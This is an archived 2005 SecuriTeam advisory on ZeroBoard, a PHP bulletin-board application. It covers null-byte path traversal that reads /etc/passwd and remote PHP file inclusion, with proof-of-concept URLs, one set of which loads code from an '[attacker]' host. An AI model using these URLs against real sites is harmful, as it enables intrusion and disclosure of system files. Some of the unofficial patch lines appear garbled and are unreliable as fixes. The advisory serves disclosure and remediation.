

# [UNIX] ZeroBoard Multiple Vulnerabilities

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-01/0059.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 01/13/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 13 Jan 2005 14:36:42 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

ZeroBoard Multiple Vulnerabilities

---

## SUMMARY

<<http://nzo.com/>> ZeroBoard is "one of the most widely used web BBS applications in Korea". Multiple vulnerabilities have been discovered in ZeroBoard, these vulnerabilities allow either to disclose sensitive files stored on the server, or to include arbitrary PHP files and cause their execution.

## DETAILS

### File Disclosure Vulnerability

Required environment settings:

In php.ini the following must be set: `magic_quotes_gpc = off`

(NOTE: `outlogin.php` is only vulnerable when it is launched under PHP 5.x)

### Description:

PHP will discarding the input values containing NULL characters when is `magic_quotes_gpc` set to off.

The following vulnerable code can be found in `_head.php`:

```
if(ereg(":\|\/",$_zb_path)) $_zb_path="";
include $_zb_path."lib.php";}
```

## Securiteam: [UNIX] ZeroBoard Multiple Vulnerabilities

The following vulnerable code can be found in include/write.php:

```
if(ereg(":\\"",$dir)) $dir=".";
include $dir."/write.php";
```

The following vulnerable code can be found in outlogin.php:

```
if(ereg(":\\"",$_zb_path)) $_zb_path=".";
[snip]
@include $_zb_path."_head.php";
```

Proof of concept:

Any of the following URLs will trigger the vulnerability:

```
http://[victim]/_head.php?_zb_path=../../../../etc/passwd%00
http://[victim]/include/write.php?dir=../../../../etc/passwd%00
http://[victim]/outlogin.php?_zb_path=../../../../etc/passwd%00
```

### PHP Source Injection Vulnerability

Required environment settings:

In php.ini the following must be set: register\_globals = On and/or allow\_url\_fopen = On.

Description:

Uninitialized usage of the \$dir variable in print\_category.php allow a remote attacker to include arbitrary PHP files that reside on another web server.

Proof of concept

Any of the following URLs will trigger the vulnerability:

```
http://[victim]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/
http://[victim]/skin/zero_vote/login.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/setup.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/ask_password.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/error.php? dir=http://[attacker]/
```

The following vulnerable code can be found in include/print\_category.php:

```
include "$dir/category_head.php";
```

The following vulnerable code can be found in skin/zero\_vote/login.php,

skin/zero\_vote/setup.php and /zero\_vote/setup.php:

```
<? include "$dir/value.php3"; ?>
```

Unofficial Patches:

Without an official patch for these vulnerabilities your only option is to modify the vulnerable sources with following recommendations:

As of ZeroBoard version 4.1pl5

Modify the 13rd line of \_head.php as following:

```
if ( ereg(":\\",$_zb_path) || ereg("\\\\.\"",$_zb_path)) $_zb_path="";
```

Modify the 16th line of include/write.php as following:

```
if( ereg(":\\"",$dir) || ereg("\\\\.\"", $dir)) $dir=".";
```

## Securiteam: [UNIX] ZeroBoard Multiple Vulnerabilities

Modify the 50th line of outlogin.php as following:

```
if ( eregi(":\V",$_zb_path) || eregi("\.\"",$_zb_path)) $_zb_path="."/;
```

Insert the following code at the 3rd line of include/print\_category.php,

```
if( eregi(":\V",$dir) || eregi("\.\"", $dir)) $dir="."/;
```

Modify the 1st line of skin/zero\_vote/login.php, the 42nd line of skin/zero\_vote/setup.php, the 1st line of skin/zero\_vote/ask\_password.php, and the 1st line of skin/zero\_vote/error.php as following:

```
<? if(ereg(":\V",$dir) || eregi("\.\"", $dir)) $dir="."; include "$dir/value.php3"; ?>
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:advisory@stgsecurity.com>  
SSR Team.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.